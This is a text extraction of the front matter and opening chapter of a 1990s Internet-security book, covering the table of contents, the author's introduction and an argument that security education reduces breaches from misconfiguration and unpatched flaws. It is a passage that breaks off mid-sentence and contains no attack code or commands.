{ "pages": [ { "page_number": 1, "text": " \n \n \nMaximum Security: A Hacker's Guide to \nProtecting Your Internet Site and \nNetwork \nTable of Contents: \n• \nIntroduction \nI Setting the Stage \n• \nChapter 1 - Why Did I Write This Book? \n• \nChapter 2 - How This Book Will Help You \n• \nChapter 3 - Hackers and Crackers \n• \nChapter 4 - Just Who Can Be Hacked, Anyway? \nII Understanding the Terrain \n• \nChapter 5 - Is Security a Futile Endeavor? \n• \nChapter 6 - A Brief Primer on TCP/IP \n• \nChapter 7 - Birth of a Network: The Internet \n• \nChapter 8 - Internet Warfare \nIII Tools \n• \nChapter 9 - Scanners \n• \nChapter 10 - Password Crackers \n• \nChapter 11 - Trojans \n• \nChapter 12 - Sniffers \n• \nChapter 13 - Techniques to Hide One's Identity \n• \nChapter 14 - Destructive Devices \nIV Platforms and Security \n• \nChapter 15 - The Hole \n• \nChapter 16 - Microsoft \n• \nChapter 17 - UNIX: The Big Kahuna \n" }, { "page_number": 2, "text": " \n \n• \nChapter 18 - Novell \n• \nChapter 19 - VAX/VMS \n• \nChapter 20 - Macintosh \n• \nChapter 21 - Plan 9 from Bell Labs \nV Beginning at Ground Zero \n• \nChapter 22 - Who or What Is Root? \n• \nChapter 23 - An Introduction to Breaching a Server Internally \n• \nChapter 24 - Security Concepts \nVI The Remote Attack \n• \nChapter 25 - The Remote Attack \n• \nChapter 26 - Levels of Attack \n• \nChapter 27 - Firewalls \n• \nChapter 28 - Spoofing Attacks \n• \nChapter 29 - Telnet-Based Attacks \n• \nChapter 30 - Language, Extensions, and Security \nVII The Law \n• \nChapter 31 - Reality Bytes: Computer Security and the Law \nVIII Appendixes \n• \nAppendix A - How to Get More Information \n• \nAppendix B - Security Consultants \n• \nAppendix C - A Hidden Message About the Internet \n• \nAppendix D - What's on the CD-ROM \n \n \n \n \n \n \n© Copyright, Angel722 Computer Publishing. All rights reserved. \n" }, { "page_number": 3, "text": " \n \nMaximum Security: \nA Hacker's Guide to Protecting Your \nInternet Site and Network \nDedication \nThis book is dedicated to Michelle, whose presence has rendered me a prince among \nmen. \nAcknowledgments \nMy acknowledgments are brief. First, I would like to acknowledge the folks at Sams, \nparticularly Randi Roger, Scott Meyers, Mark Taber, Blake Hall, Eric Murray, Bob \nCorrell, and Kate Shoup. Without them, my work would resemble a tangled, horrible \nmess. They are an awesome editing team and their expertise is truly extraordinary. \nNext, I extend my deepest gratitude to Michael Michaleczko, and Ron and Stacie \nLatreille. These individuals offered critical support, without which this book could not \nhave been written. \nAlso, I would like to recognize the significant contribution made by John David Sale, a \nnetwork security specialist located in Van Nuys, California. His input was invaluable. A \nsimilar thanks is also extended to Peter Benson, an Internet and EDI Consultant in Santa \nMonica, California (who, incidentally, is the current chairman of ASC X12E). Peter's \npatience was (and is) difficult to fathom. Moreover, I forward a special acknowledgment \nto David Pennells and his merry band of programmers. Those cats run the most robust \nand reliable wire in the southwestern United States. \nAbout the Author \nThe author describes himself as a \"UNIX propeller head\" and is a dedicated advocate of \nthe Perl programming language, Linux, and FreeBSD. \nAfter spending four years as a system administrator for two California health-care firms, \nthe author started his own security-consulting business. Currently, he specializes in \ntesting the security of various networking platforms (breaking into computer networks \nand subsequently revealing what holes lead to the unauthorized entry) including but not \nlimited to Novell NetWare, Microsoft Windows NT, SunOS, Solaris, Linux, and \nMicrosoft Windows 95. His most recent assignment was to secure a wide area network \nthat spans from Los Angeles to Montreal. \nThe author now lives quietly in southern California with a Sun SPARCStation, an IBM \nRS/6000, two Pentiums, a Macintosh, various remnants of a MicroVAX, and his wife. \n" }, { "page_number": 4, "text": " \n \nIn the late 1980s, the author was convicted of a series of financial crimes after developing \na technique to circumvent bank security in Automatic Teller Machine systems. He \ntherefore prefers to remain anonymous. \nTell Us What You Think! \nAs a reader, you are the most important critic and commentator of our books. We value \nyour opinion and want to know what we're doing right, what we could do better, what \nareas you'd like to see us publish in, and any other words of wisdom you're willing to \npass our way. You can help us make strong books that meet your needs and give you the \ncomputer guidance you require. \nDo you have access to the World Wide Web? Then check out our site at \nhttp://www.mcp.com. \n \nNOTE: If you have a technical question about this book, call the technical support line at \n317-581-3833 or send e-mail to suppor@mcp.com. \n \nAs the team leader of the group that created this book, I welcome your comments. You \ncan fax, e-mail, or write me directly to let me know what you did or didn't like about this \nbook--as well as what we can do to make our books stronger. Here's the information: \nFAX: 317-581-4669 \nE-mail: \nMark Taber \nnewtech_mgr@sams.mcp.com \nMail: \nMark Taber \nComments Department \nSams Publishing \n201 W. 103rd Street \nIndianapolis, IN 46290 \nIntroduction \nI want to write a few words about this book and how it should be used. This book is not \nstrictly an instructional, or \"How To\" book. Its purpose is to get you started on a solid \neducation in Internet security. As such, it is probably constructed differently from any \ncomputer book you have ever read. \nAlthough this book cannot teach you everything you need to know, the references \ncontained within this book can. Therefore, if you know very little about Internet security, \nyou will want to maximize the value of this book by adhering to the following procedure: \n" }, { "page_number": 5, "text": " \n \nEach chapter (except early ones that set the stage) contains intermittent references that \nmight point to white papers, technical reports, or other sources of solid, reliable \ninformation of substance (pertaining to the topic at hand). Those references appear in \nboxes labeled XREF. As you encounter each source, stop for a moment to retrieve that \nsource from the Net. After you retrieve the source, read it, then continue reading the \nbook. Throughout the book, perform this operation whenever and wherever applicable. If \nyou do so, you will finish with a very solid basic education on Internet security. \nI have constructed this book in this manner because Internet security is not a static field; \nit changes rapidly. Nonetheless, there are certain basics that every person interested in \nsecurity must have. Those basics are not contained (in their entirety) in any one book \n(perhaps not even in dozens of them). The information is located on the Internet in the \nform of documents written by authorities on the subject. These are the people who either \ndesigned and developed the Internet or have designed and developed its security features. \nThe body of their work is vast, but each paper or technical report is, at most, 40 pages in \nlength (most are fewer than 10). \nThose readers who want only a casual education in Internet security may read the book \nwithout ever retrieving a single document from the Internet. But if you are searching for \nsomething more, something deeper, you can obtain it by adhering to this procedure. \nIf you choose to use the book as a reference tool in the manner I have described, there are \ncertain conventions that you need to know. If the resource you have been directed to is a \ntool, consider downloading it even if it is not for your platform. With a proper archive \ntool (like Winzip), you can extract the documents that accompany the distribution of that \ntool. Such documents often contain extremely valuable information. For example, the \nnow famous scanner named SATAN (made expressly for UNIX) contains security \ntutorials in HTML. These do not require that you have UNIX (in fact, all they require is a \nbrowser). Likewise, many other tools contain documents in PDF, TXT, DOC, PS, and \nother formats that are readable on any platform. \n \nTIP: SATAN is a special case. Some of the tutorials are in HTML but have *.PL \nextensions. These extensions are used to signify documents that are written in Perl. If you \ndo not have Perl installed, convert these documents to raw HTML. To do so, open them \nin a text editor and replace the first line (<< HTML) with . Then rename the file \nwith either an *.HTM or an *.HTML extension. From that point on, your browser will \nload the pages perfectly. \n \nAlso, note that many of the Internet documents referenced in this book are available in \nPostScript form only. PostScript is a wonderful interpreted language that draws graphics \nand text. It is used primarily in technical fields. To view some of these documents, \ntherefore, you will require a PostScript reader (or interpreter). If you do not already have \nAdobe Illustrator or some other proprietary PostScript package, there are two leading \nutilities: \n• \nRops \n• \nGhostscript/Ghostview \n" }, { "page_number": 6, "text": " \n \nBoth are freely available for download on the Internet. Rops is available here: \n• \nftp://ftp.winsite.com/pub/pc/winnt/txtutil/rops3244.zip \nGhostscript and Ghostview are available here: \n• \nftp://ftp.cs.wisc.edu/ghost/aladdin/gs353w32.zip \n• \nhttp://www.cs.wisc.edu/%7Eghost/gsview/index.html \nI should point out that Rops is shareware, while Ghostscript and Ghostview (hereafter, \nthe GS utilities) are free. The chief differences between these two distributions are that \nRops is smaller, easier to configure, and faster. In fact, it is probably one of the best \nshareware products I have ever seen; it is incredibly small for the job that it does and \nrequires minimal memory resources. It was coded by Roger Willcocks, a software \nengineer in London, England. \nIn contrast, the GS utilities are slower, but support many more fonts and other subtle \nintricacies you will likely encounter in PostScript documents produced on disparate \nplatforms. In other words, on documents that Rops fails to decode, the GS utilities will \nprobably still work. The GS utilities also have more tolerance for faults within a \nPostScript document. If you have never used a PostScript interpreter, there are certain \nsituations you may encounter that seem confusing. One such situation is where the \ninterpreter cannot find evidence of page numbering. If you encounter this problem, you \nwill only be able to move forward in the document (you will not be able to go back to \npage 1 after you have progressed to page 2). In such instances, it's best to print the \ndocument. \nTo avoid this problem, I have purposefully (and by hand) searched out alternate formats. \nThat is, for each PostScript document I encountered, I tried to find the identical paper in \nPDF, TXT, DOC, WPG, or HTML. In some cases, I'm afraid, I could not find the \ndocument in any other form (this was especially so with early classic papers on Internet \nsecurity). In cases where I did successfully find another format, I have pointed you there \ninstead of to the PostScript version. I did this because the majority of PC users (with the \nexception of Mac users) do not routinely have PostScript facilities on their machines. \nNext I need to say several things about the hyperlinks in this book. Each one was tested \nby hand. In certain instances, I have offered links overseas to papers that are also \navailable here in the United States. This is because I tried to pick the most reliable links \npossible. By reliable links, I mean the links most easily retrieved in the shortest time \npossible. Although you wouldn't think so, some overseas links are much faster. Also, in \nsome instances, I could only find a verified link to a document overseas (verified links \nmeans that when I tested the link, the requested item actually existed at the URL in \nquestion). To provide you with maximum value, I have attempted to reduce the \nincidences of Object Not Found to practically nil. Naturally, however, your mileage \nmay vary. Sites often change their structure, so expect a few links to be no longer valid \n(even though most were checked just a month or two before the book's printing.) \n" }, { "page_number": 7, "text": " \n \nAlso, many hyperlink paths are expressed in their totality, meaning that wherever \npossible, I have extracted the total address of an object and not simply the server on \nwhich it resides. In reference to downloadable files (tools, usually), these links will not \nbring you to a page. Instead, they will initiate a download session to your machine, \nbringing the file directly to you. This will save you time, but might first be confusing to \nless experienced users. Don't be surprised when a dialog box appears, asking you to save \na file. \nWherever I specify what language a tool or software program was written in, pay careful \nattention. Many tools mentioned require either a compiler or an interpreter before they \ncan be built and used. If you do not currently have the language or interpreter necessary \n(or if your platform is different from that for which the tool was designed), re-examine \nthe reference. Unless it seems that the distribution contains documents that are of value to \nyou, you should probably refrain from downloading it. Moreover, many utilities come in \nsource code form only. Although I have examined much of the source code myself, I \ncannot vouch for each and every line of it. If you intend to download source code and \ncompile it on your own architecture, be aware that neither I nor Sams can be responsible \nfor trojans or other malicious code that may exist in these files. The majority of files \nreferenced are actually from reliable sources and many are accompanied by digital \nsignatures, PGP keys, or other co-signing assurances of authenticity and integrity. \nHowever, code that originated on cracker sites may or may not be clean. Use your \njudgment in these instances. \n \nNOTE: Special note to Windows and Mac users: if you have no idea what I am talking \nabout, fear not. You will by the time you reach Chapter 6, \"A Brief Primer on TCP/IP.\" I \nmade every possible attempt to make this book easily read and understood for all users. I \nhave taken great pains to explain many terms and procedures along the way. If you are \nalready aware of the definitions, skip these passages. If you are not, read them carefully. \n \nThe majority of the sites referenced are easily viewed by anyone. There may be a few \nsites that use extensive table structures or maintain an all-graphic interface. Those with \nnoncompliant browsers may not be able to view these sites. Nonetheless, there are very \nfew such sites. Wherever possible, I have attempted to find alternate pages (that support \nnon-table browsers) so almost all of the pages are viewable using any browser. However, \nI am not perfect; my efforts may fail in some cases. For this, I apologize. \nIn reference to sites mentioned that I deem \"very good,\" a word of caution: This is my \nopinion only. I classify sites as \"good\" if they impart information that is technically \nsound or point you in many valuable directions. But simply because I say one site is good \nand say nothing about another does not mean the other site is bad. I have hand-picked \nevery site here, and each offers good information on security. Those I single out as \nparticularly good are so identified usually because the maintainer of that site has done an \nexemplary job of presenting the information. \nWith respect to hyperlinks, I will say this: At the end of Appendix A, \"Where to Get \nMore Information,\" I offer an uncommented, bare list of hyperlinks. This is the \nequivalent of a huge bookmark file. There is a purpose for this, which I discuss in detail \nwithin that Appendix, but I will briefly address that purpose now. That list (which will \n" }, { "page_number": 8, "text": " \n \nalso appear on the CD-ROM) is provided for serious students of security. By loading that \nlist into a personal robot (Clearweb is one good example), you can build a huge security \nlibrary on your local machine. Such personal robots rake the pages on the list, retrieving \nwhatever file types you specify. For companies that have adequate disk space and are \nlooking to build a security library, this can be done automatically. Most robots will clone \na remote site within a few minutes. \nBe aware, however, that the majority of links offered lead to pages with many links \nthemselves. Thus, if you are running such a robot, you'd better have adequate disk space \nfor the output. Printed in their native form, all retrievable documents in that list (if \nretrieved with a robot that goes out one level for each link) would print a stack of paper \napproximately seven feet tall. I know this because I have done it. In Appendix A, I \ndescribe the procedure to do so. If you decide to retrieve and print written information \nand binaries from all the sites listed, you will have the majority of written security \nknowledge available on the Internet within two weeks. In organizations doing serious \nsecurity research, this could have significant value, particularly if all documents are \nreformatted to a single file format (you could do special indexing and so forth). \nCertain books or other documents have been referenced that are not available online. \nThese documents are obtainable, however. In all cases, I have included as much \ninformation on them as possible. Sometimes, the ISBN or ISSN is included, and \nsometimes not. ISBNs were not always obtainable. In these instances (which are \nadmittedly rare), I have included the Library of Congress catalog number or other, \nidentifying features that may help you find the referenced material offline. Any sources \nthat could not be traced down (either on the Net or elsewhere) were omitted from the \nbook. \nMoreover, I have made every possible effort to give credit to individuals who authored or \notherwise communicated information that is of technical value. This includes postings in \nUsenet newsgroups, mailing lists, Web pages, and other mediums. In almost all cases \n(with the exception of the list of vendors that appears in Appendix B, \"Security \nConsultants\"), I have omitted the e-mail addresses of the parties. True, you can obtain \nthose addresses by going to various sites, but I refrained from printing them within this \nbook. I have made every effort to respect the privacy of these individuals. \nThe list of vendors that appears in Appendix B was not taken from the local telephone \nbook. In March 1997, I issued a bulletin to several key security groups requesting that \nvendors place a listing in this book. The people (and companies) who replied are all \nqualified security vendors and consultants. These vendors and individuals provide \nsecurity products and services every day. Many deal in products that have been evaluated \nfor defense-level systems or other typically secure environments. They represent one \nsmall portion of the cream of the crop. If a vendor does not appear on this list, it does not \nmean that it is not qualified; it simply means that the vendor did not want to be listed in a \nbook written by an anonymous author. Security people are naturally wary, and rightly so. \nIn closing, I have some final words of advice. Appendix C, \"A Hidden Message,\" points \nto a block of encrypted text located on the CD-ROM. The encryption used was Pretty \nGood Privacy (PGP). When (or rather, if) you decrypt it, you will find a statement that \n" }, { "page_number": 9, "text": " \n \nreveals an element of the Internet that is not widely understood. However, within five \nyears, that element will become more clear to even the average individual. There are \nseveral things that you need to know about that encrypted statement. \nFirst, the encrypted text contains my opinion only. It is not the opinion of Sams.net. In \nfact, to ensure that Sams.net is not associated with that statement, I have taken the \nprecaution of refusing to provide employees of Sams.net with the private passphrase. \nTherefore, they have absolutely no idea what the statement is. Equally, I assure you (as I \nhave assured Sams.net) that the statement does not contain profanity or any other material \nthat could be deemed unsuitable for readers of any age. It is a rather flat, matter-of-fact \nstatement that warns of one facet of the Internet that everyone, including security \nspecialists, have sorely missed. This facet is of extreme significance, not simply to \nAmericans, but to all individuals from every nation. At its most basic, the statement is a \nprognostication. \nNow for a little note on how to decrypt the statement. The statement itself is very likely \nuncrackable, because I have used the highest grade encryption possible. However, you \ncan determine the passphrase through techniques once common to the spy trade. \nContained in Appendix C are several lines of clear text consisting of a series of characters \nseparated by semi-colons (semi-colons are the field separator character). After you \nidentify the significance of these characters, you are presented with some interesting \npossibilities. After trying them all, you will eventually crack that statement (the \nsignificance of the clear text fields will reveal the passphrase). If you are clever, cracking \nthe message is easier than it looks (certainly, those wild and crazy characters at NSA will \nhave no problem, as long as the folks doing it are vintage and not kids; that is about the \nonly clue I will give). The public key for the message is root@netherworld.net. \nIf you crack the message, you should forward it to all members of Congress. For them, a \ngroup largely uneducated about the Internet, the message within that encrypted text is of \ncritical importance. \nGood luck. \n" }, { "page_number": 10, "text": " \n \nMaximum Security: A Hacker's Guide to \nProtecting Your Internet Site and \nNetwork \n \n©Copyright, Angel722 Inc. Computer Publishing. All rights reserved. \nNo part of this book may be used or reproduced in any form or by any means, or stored in a \ndatabase or retrieval system without prior written permission of the publisher except in the case of \nbrief quotations embodied in critical articles and reviews. \nFor information, address Angel722 Publishing, 1800 Engel Rd. 3rd Floor, \nLawrence, Kansas, 66044 \nThis material is provided \"as is\" without any warranty of any kind. \n \n© Copyright, Angel722 Inc. Computer Publishing. All rights reserved. \n" }, { "page_number": 11, "text": " \n \n \n1 \nWhy Did I Write This Book? \nHacking and cracking are activities that generate intense public interest. Stories of hacked \nservers and downed Internet providers appear regularly in national news. Consequently, \npublishers are in a race to deliver books on these subjects. To its credit, the publishing \ncommunity has not failed in this resolve. Security books appear on shelves in ever-\nincreasing numbers. However, the public remains wary. Consumers recognize driving \ncommercialism when they see it, and are understandably suspicious of books such as this \none. They need only browse the shelves of their local bookstore to accurately assess the \nsituation. \nBooks about Internet security are common (firewall technology seems to dominate the \nsubject list). In such books, the information is often sparse, confined to a narrow range of \nproducts. Authors typically include full-text reproductions of stale, dated documents that \nare readily available on the Net. This poses a problem, mainly because such texts are \nimpractical. Experienced readers are already aware of these reference sources, and \ninexperienced ones are poorly served by them. Hence, consumers know that they might \nget little bang for their buck. Because of this trend, Internet security books have sold \npoorly at America's neighborhood bookstores. \nAnother reason that such books sell poorly is this: The public erroneously believes that to \nhack or crack, you must first be a genius or a UNIX guru. Neither is true, though \nadmittedly, certain exploits require advanced knowledge of the target's operating system. \nHowever, these exploits can now be simplified through utilities that are available for a \nwide range of platforms. Despite the availability of such programs, however, the public \nremains mystified by hacking and cracking, and therefore, reticent to spend forty dollars \nfor a hacking book. \nSo, at the outset, Sams.net embarked on a rather unusual journey in publishing this book. \nThe Sams.net imprint occupies a place of authority within the field. Better than two thirds \nof all information professionals I know have purchased at least one Sams.net product. For \nthat reason, this book represented to them a special situation. \nHacking, cracking, and Internet security are all explosive subjects. There is a sharp \ndifference between publishing a primer about C++ and publishing a hacking guide. A \nbook such as this one harbors certain dangers, including \n• \nThe possibility that readers will use the information maliciously \n• \nThe possibility of angering the often-secretive Internet-security community \n• \nThe possibility of angering vendors that have yet to close security holes within their software \n" }, { "page_number": 12, "text": " \n \nIf any of these dangers materialize, Sams.net will be subject to scrutiny or perhaps even \ncensure. So, again, if all of this is true, why would Sams.net publish this book? \nSams.net published this book (and I agreed to write it) because there is a real need. I'd \nlike to explain that need for a moment, because it is a matter of some dispute within the \nInternet community. Many people feel that this need is a manufactured one, a device \ndreamt up by software vendors specializing in security products. This charge--as the \nreader will soon learn--is unfounded. \nToday, thousands of institutions, businesses, and individuals are going online. This \nphenomenon--which has been given a dozen different names--is most commonly referred \nto as the Internet explosion. That explosion has drastically altered the composition of the \nInternet. By composition of the Internet, I refer to the cyberography of the Net, or the \ndemography of cyberspace. This quality is used to express the now diverse mixture of \nusers (who have varying degrees of online expertise) and their operating systems. \nA decade ago, most servers were maintained by personnel with at least basic knowledge \nof network security. That fact didn't prevent break-ins, of course, but they occurred rarely \nin proportion to the number of potential targets. Today, the Internet's population is \ndominated by those without strong security knowledge, many of whom establish direct \nlinks to the backbone. The number of viable targets is staggering. \nSimilarly, individual users are unaware that their personal computers are at risk of \npenetration. Folks across the country surf the Net using networked operating systems, \noblivious to dangers common to their platform. To be blunt, much of America is going \nonline unarmed and unprepared. \nYou might wonder even more why Sams would publish a book such as this. After all, \nisn't the dissemination of such information likely to cause (rather than prevent) computer \nbreak-ins? \nIn the short run, yes. Some readers will use this book for dark and unintended purposes. \nHowever, this activity will not weaken network security; it will strengthen it. To \ndemonstrate why, I'd like to briefly examine the two most common reasons for security \nbreaches: \n• \nMisconfiguration of the victim host \n• \nSystem flaws or deficiency of vendor response \nMisconfiguration of the Victim Host \nThe primary reason for security breaches is misconfiguration of the victim host. Plainly \nstated, most operating systems ship in an insecure state. There are two manifestations of \nthis phenomenon, which I classify as active and passive states of insecurity in shipped \nsoftware. \nThe Active State \n" }, { "page_number": 13, "text": " \n \nThe active state of insecurity in shipped software primarily involves network utilities. \nCertain network utilities, when enabled, create serious security risks. Many software \nproducts ship with these options enabled. The resulting risks remain until the system \nadministrator deactivates or properly configures the utility in question. \nA good example would be network printing options (the capability of printing over an \nEthernet or the Internet). These options might be enabled in a fresh install, leaving the \nsystem insecure. It is up to the system administrator (or user) to disable these utilities. \nHowever, to disable them, the administrator (or user) must first know of their existence. \nYou might wonder how a user could be unaware of such utilities. The answer is simple: \nThink of your favorite word processor. Just how much do you know about it? If you \nroutinely write macros in a word-processing environment, you are an advanced user, one \nmember of a limited class. In contrast, the majority of people use only the basic functions \nof word processors: text, tables, spell check, and so forth. There is certainly nothing \nwrong with this approach. Nevertheless, most word processors have more advanced \nfeatures, which are often missed by casual users. \nFor example, how many readers who used DOS-based WordPerfect knew that it included \na command-line screen-capture utility? It was called Grab. It grabbed the screen in any \nDOS-based program. At the time, that functionality was unheard of in word processors. \nThe Grab program was extremely powerful when coupled with a sister utility called \nConvert, which was used to transform other graphic file formats into *.wpg files, a \nformat suitable for importation into a WordPerfect document. Both utilities were called \nfrom a command line in the C:\\WP directory. Neither were directly accessible from within \nthe WordPerfect environment. So, despite the power of these two utilities, they were not \nwell known. \nSimilarly, users might know little about the inner workings of their favorite operating \nsystem. For most, the cost of acquiring such knowledge far exceeds the value. Oh, they \npick up tidbits over the years. Perhaps they read computer periodicals that feature \noccasional tips and tricks. Or perhaps they learn because they are required to, at a job or \nother official position where extensive training is offered. No matter how they acquire the \nknowledge, nearly everyone knows something cool about their operating system. \n(Example: the Microsoft programming team easter egg in Windows 95.) \n \nThe Microsoft programming team easter egg: The Microsoft programming team easter \negg is a program hidden in the heart of Windows 95. When you enter the correct \nkeystrokes and undertake the correct actions, this program displays the names of each \nprogrammer responsible for Windows 95. To view that easter egg, perform the following \nsteps: \n1. Right-click the Desktop and choose New|Folder. \n2. Name that folder and now the moment you've all been waiting for. \n3. Right-click that folder and choose Rename. \n4. Rename the folder we proudly present for your viewing pleasure. \n5. Right-click the folder and choose Rename. \n" }, { "page_number": 14, "text": " \n \n5. Rename the folder The Microsoft Windows 95 Product Team!. \n6. Open that folder by double-clicking it. \nThe preceding steps will lead to the appearance of a multimedia \npresentation about the folks who coded Windows 95. (A word of caution: \nThe presentation is quite long.) \n \nUnfortunately, keeping up with the times is difficult. The software industry is a dynamic \nenvironment, and users are generally two years behind development. This lag in the \nassimilation of new technology only contributes to the security problem. When an \noperating-system- development team materially alters its product, a large class of users is \nsuddenly left knowing less. Microsoft Windows 95 is a good example of this \nphenomenon. New support has been added for many different protocols: protocols with \nwhich the average Windows user might not be familiar. So, it is possible (and probable) \nthat users might be unaware of obscure network utilities at work with their operating \nsystems. \nThis is especially so with UNIX-based operating systems, but for a slightly different \nreason. UNIX is a large and inherently complex system. Comparing it to other operating \nsystems can be instructive. DOS contains perhaps 30 commonly used commands. In \ncontrast, a stock distribution of UNIX (without considering windowed systems) supports \nseveral hundred commands. Further, each command has one or more command-line \noptions, increasing the complexity of each utility or program. \nIn any case, in the active state of insecurity in shipped software, utilities are enabled and \nthis fact is unknown to the user. These utilities, while enabled, can foster security holes of \nvarying magnitude. When a machine configured in this manner is connected to the Net, it \nis a hack waiting to happen. \nActive state problems are easily remedied. The solution is to turn off (or properly \nconfigure) the offending utility or service. Typical examples of active state problems \ninclude \n• \nNetwork printing utilities \n• \nFile-sharing utilities \n• \nDefault passwords \n• \nSample networking programs \nOf the examples listed, default passwords is the most common. Most multiuser operating \nsystems on the market have at least one default password (or an account requiring no \npassword at all). \nThe Passive State \n" }, { "page_number": 15, "text": " \n \nThe passive state involves operating systems with built-in security utilities. These utilities \ncan be quite effective when enabled, but remain worthless until the system administrator \nactivates them. In the passive state, these utilities are never activated, usually because the \nuser is unaware that they exist. Again, the source of the problem is the same: The user or \nsystem administrator lacks adequate knowledge of the system. \nTo understand the passive state, consider logging utilities. Many networked operating \nsystems provide good logging utilities. These comprise the cornerstone of any \ninvestigation. Often, these utilities are not set to active in a fresh installation. (Vendors \nmight leave this choice to the system administrator for a variety of reasons. For example, \ncertain logging utilities consume space on local drives by generating large text or \ndatabase files. Machines with limited storage are poor candidates for conducting heavy \nlogging.) Because vendors cannot guess the hardware configuration of the consumer's \nmachine, logging choices are almost always left to the end-user. \nOther situations that result in passive-state insecurity can arise: Situations where user \nknowledge (or lack thereof) is not the problem. For instance, certain security utilities are \nsimply impractical. Consider security programs that administer file-access privileges \n(such as those that restrict user access depending on security level, time of day, and so \nforth). Perhaps your small network cannot operate with fluidity and efficiency if \nadvanced access restrictions are enabled. If so, you must take that chance, perhaps \nimplementing other security procedures to compensate. In essence, these issues are the \nbasis of security theory: You must balance the risks against practical security measures, \nbased on the sensitivity of your network data. \nYou will notice that both active and passive states of insecurity in software result from \nthe consumer's lack of knowledge (not from any vendor's act or omission). This is an \neducation issue, and education is a theme that will recur throughout this book. \n \nNOTE: Education issues are matters entirely within your control. That is, you can \neliminate these problems by providing yourself or your associates with adequate \neducation. (Put another way, crackers can gain most effectively by attacking networks \nwhere such knowledge is lacking.) That settled, I want to examine matters that might not \nbe within the end-user's control. \n \nSystem Flaws or Deficiency of Vendor Response \nSystem flaws or deficiency of vendor response are matters beyond the end-user's control. \nAlthough vendors might argue this point furiously, here's a fact: These factors are the \nsecond most common source of security problems. Anyone who subscribes to a bug \nmailing list knows this. Each day, bugs or programming weaknesses are found in network \nsoftware. Each day, these are posted to the Internet in advisories or warnings. \nUnfortunately, not all users read such advisories. \nSystem flaws needn't be classified into many subcategories here. It's sufficient to say that \na system flaw is any element of a program that causes the program to \n• \nWork improperly (under either normal or extreme conditions) \n" }, { "page_number": 16, "text": " \n \n• \nAllow crackers to exploit that weakness (or improper operation) to damage or gain control of a \nsystem \nI am concerned with two types of system flaws. The first, which I call a pure flaw, is a \nsecurity flaw nested within the security structure itself. It is a flaw inherent within a \nsecurity-related program. By exploiting it, a cracker obtains one-step, unauthorized \naccess to the system or its data. \n \nThe Netscape secure sockets layer flaw: In January, 1996, two students in the \nComputer Science department at the University of California, Berkeley highlighted a \nserious flaw in the Netscape Navigator encryption scheme. Their findings were published \nin Dr. Dobb's Journal. The article was titled Randomness and the Netscape Browser by \nIan Goldberg and David Wagner. In it, Goldberg and Wagner explain that Netscape's \nimplementation of a cryptographic protocol called Secure Sockets Layer (SSL) was \ninherently flawed. This flaw would allow secure communications intercepted on the \nWWW to be cracked. This is an excellent example of a pure flaw. (It should be noted \nhere that the flaw in Netscape's SSL implementation was originally discovered by an \nindividual in France. However, Goldberg and Wagner were the first individuals in the \nUnited States to provide a detailed analysis of it.) \n \nConversely, there are secondary flaws. A secondary flaw is any flaw arising in a program \nthat, while totally unrelated to security, opens a security hole elsewhere on the system. In \nother words, the programmers were charged with making the program functional, not \nsecure. No one (at the time the program was designed) imagined cause for concern, nor \ndid they imagine that such a flaw could arise. \nSecondary flaws are far more common than pure flaws, particularly on platforms that \nhave not traditionally been security oriented. An example of a secondary security flaw is \nany flaw within a program that requires special access privileges in order to complete its \ntasks (in other words, a program that must run with root or superuser privileges). If that \nprogram can be attacked, the cracker can work through that program to gain special, \nprivileged access to files. Historically, printer utilities have been problems in this area. \n(For example, in late 1996, SGI determined that root privileges could be obtained through \nthe Netprint utility in its IRIX operating system.) \nWhether pure or secondary, system flaws are especially dangerous to the Internet \ncommunity because they often emerge in programs that are used on a daily basis, such as \nFTP or Telnet. These mission-critical applications form the very heart of the Internet and \ncannot be suddenly taken away, even if a security flaw exists within them. \nTo understand this concept, imagine if Microsoft Word were discovered to be totally \ninsecure. Would people stop using it? Of course not. Millions of offices throughout the \nworld rely on Word. However, there is a vast difference between a serious security flaw \nin Microsoft Word and a serious security flaw in NCSA HTTPD, which is a popular \nWeb-server package. The serious flaw in HTTPD would place hundreds of thousands of \nservers (and therefore, millions of accounts) at risk. Because of the Internet's size and the \nservices it now offers, flaws inherent within its security structure are of international \nconcern. \n" }, { "page_number": 17, "text": " \n \nSo, whenever a flaw is discovered within sendmail, FTP, Gopher, HTTP, or other \nindispensable elements of the Internet, programmers develop patches (small programs or \nsource code) to temporarily solve the problem. These patches are distributed to the world \nat large, along with detailed advisories. This brings us to vendor response. \nVendor Response \nVendor response has traditionally been good, but this shouldn't give you a false sense of \nsecurity. Vendors are in the business of selling software. To them, there is nothing \nfascinating about someone discovering a hole in the system. At best, a security hole \nrepresents a loss of revenue or prestige. Accordingly, vendors quickly issue assurances to \nallay users' fears, but actual corrective action can sometimes be long in coming. \nThe reasons for this can be complex, and often the vendor is not to blame. Sometimes, \nimmediate corrective action just isn't feasible, such as the following: \n• \nWhen the affected application is comprehensively tied to the operating-system source \n• \nWhen the application is very widely in use or is a standard \n• \nWhen the application is third-party software and that third party has poor support, has gone out of \nbusiness, or is otherwise unavailable \nIn these instances, a patch (or other solution) can provide temporary relief. However, for \nthis system to work effectively, all users must know that the patch is available. Notifying \nthe public would seem to be the vendor's responsibility and, to be fair, vendors post such \npatches to security groups and mailing lists. However, vendors might not always take the \nextra step of informing the general public. In many cases, it just isn't cost effective. \nOnce again, this issue breaks down to knowledge. Users who have good knowledge of \ntheir network utilities, of holes, and of patches are well prepared. Users without such \nknowledge tend to be victims. That, more than any other reason, is why I wrote this book. \nIn a nutshell, security education is the best policy. \nWhy Education in Security Is Important \nTraditionally, security folks have attempted to obscure security information from the \naverage user. As such, security specialists occupy positions of prestige in the computing \nworld. They are regarded as high priests of arcane and recondite knowledge that is \nunavailable to normal folks. There was a time when this approach had merit. After all, \nusers should be afforded such information only on a need-to-know basis. However, the \naverage American has now achieved need-to-know status. \nSo, I pose the question again: Who needs to be educated about Internet security? The \nanswer is: We all do. I hope that this book, which is both a cracker's manual and an \nInternet security reference, will force into the foreground issues that need to be discussed. \nMoreover, I wrote this book to increase awareness of security among the general public. \nAs such, this book starts with basic information and progresses with increasing \n" }, { "page_number": 18, "text": " \n \ncomplexity. For the absolute novice, this book is best read cover to cover. Equally, those \nreaders familiar with security will want to quickly venture into later chapters. \nThe answer to the question regarding the importance of education and Internet security \ndepends on your station in life. If you are a merchant or business person, the answer is \nstraightforward: In order to conduct commerce on the Net, you must be assured of some \nreasonable level of data security. This reason is also shared by consumers. If crackers are \ncapable of capturing Net traffic containing sensitive financial data, why buy over the \nInternet? And of course, between the consumer and the merchant stands yet another class \nof individual concerned with data security: the software 